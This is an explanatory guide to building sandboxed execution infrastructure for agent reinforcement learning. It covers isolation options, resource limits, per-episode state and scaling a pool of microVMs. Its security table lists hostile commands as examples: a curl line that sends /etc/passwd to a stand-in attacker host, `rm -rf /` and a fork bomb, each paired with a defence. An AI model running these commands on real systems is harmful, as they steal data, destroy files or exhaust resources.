Agent RL Infrastructure

When RL agents interact with tools (code execution, web browsing, file systems), the training infrastructure must provide sandboxed environments that are safe, fast, and scalable.

1. Why Agent RL Is Different

Standard RLHF generates text and scores it. Agent RL generates actions — code to execute, APIs to call, commands to run — and observes environment feedback:

Standard RLHF:
  Prompt → Generate text → Score with reward model → Train

Agent RL:
  Task → Generate code → Execute in sandbox → Observe output → 
  Generate more code → Execute → ... → Final result → Verify → Train

Multi-turn: An agent may take 5-20 tool-use steps per episode, each requiring environment interaction. This makes rollout generation much slower and more resource-intensive.

2. Sandbox Architecture

Each rollout needs an isolated execution environment:

Isolation level	Technology	Startup time	Security	Use case
Process	subprocess, seccomp	~1 ms	Low	Trusted code, simple math
Container	Docker, Podman	~100 ms	Medium	Code execution, file I/O
MicroVM	Firecracker, gVisor	~125 ms	High	Untrusted code, network access
Full VM	QEMU, KVM	~2-5 s	Highest	Maximum isolation

Production recommendation: Firecracker microVMs — they provide near-container speed with VM-level isolation. Each RL episode gets a fresh microVM that is destroyed after the episode.

Resource Limits

sandbox_config = {
    "cpu_limit": 2,                # 2 CPU cores per sandbox
    "memory_limit_mb": 512,        # 512 MB RAM
    "timeout_seconds": 30,         # per-step timeout
    "episode_timeout_seconds": 300, # total episode timeout
    "network_access": False,       # no internet (prevent data exfiltration)
    "filesystem": "ephemeral",     # destroyed after episode
    "max_output_bytes": 1_000_000, # truncate excessive output
}

3. State Persistence Across Tool Calls

Agent RL episodes involve multi-turn interactions. The sandbox must persist state between tool calls within one episode:

class AgentEpisode:
    def __init__(self):
        self.sandbox = create_sandbox()  # fresh microVM
        self.filesystem_state = {}        # files created by agent
        self.variables = {}               # computed values
        self.history = []                 # all tool call results
    
    def execute_step(self, code):
        # Run in persistent sandbox (same filesystem, same process space)
        result = self.sandbox.execute(code)
        self.history.append({"code": code, "output": result})
        return result
    
    def destroy(self):
        self.sandbox.destroy()  # clean up after episode

Key requirement: The sandbox must maintain filesystem and process state across tool calls within an episode. If the agent creates a file in step 1, it must be readable in step 2. But between episodes, everything is reset.

State type	Within episode	Between episodes
Filesystem	Persistent	Reset (ephemeral)
Environment variables	Persistent	Reset
Running processes	Persistent	Killed
Network connections	Blocked (security)	N/A

4. Security Considerations

The model generates code that will be executed. Adversarial or buggy code can:

Threat	Example	Mitigation
Resource exhaustion	`while True: pass`	CPU/memory limits, timeouts
Data exfiltration	`curl attacker.com/$(cat /etc/passwd)`	Network isolation
Filesystem damage	`rm -rf /`	Read-only root, ephemeral filesystem
Sandbox escape	Kernel exploits	MicroVM isolation, minimal attack surface
Fork bombs	`:(){ :	:& };:`

Defense in depth: Apply ALL mitigations simultaneously. No single layer is sufficient.

For reward model serving that agent RL interacts with, see Reward Model Serving.

4. Scaling Sandbox Infrastructure

For RL training with 256 GPUs generating rollouts:

Each GPU generates ~4 rollouts in parallel
Each rollout needs ~5 tool-use steps
Each step needs a sandbox execution

→ ~5,000 sandbox executions per training step

Architecture

GPU cluster (rollout generation)
  │
  ├── Sandbox pool manager (assigns sandboxes to requests)
  │     ├── Warm pool: 1000 pre-created microVMs
  │     ├── Cold pool: create on demand
  │     └── Recycling: destroy after episode, create fresh
  │
  └── Result collector (captures stdout, stderr, exit code)

Pre-warming: Keep a pool of ready microVMs to avoid creation latency during rollout.

Self-Check

Explain why agent RL needs sandboxed environments (vs standard text-only RLHF)
Compare isolation levels: process vs container vs microVM
Design resource limits for a code execution sandbox
Identify security threats from model-generated code and their mitigations
Calculate sandbox demand for a given RL training configuration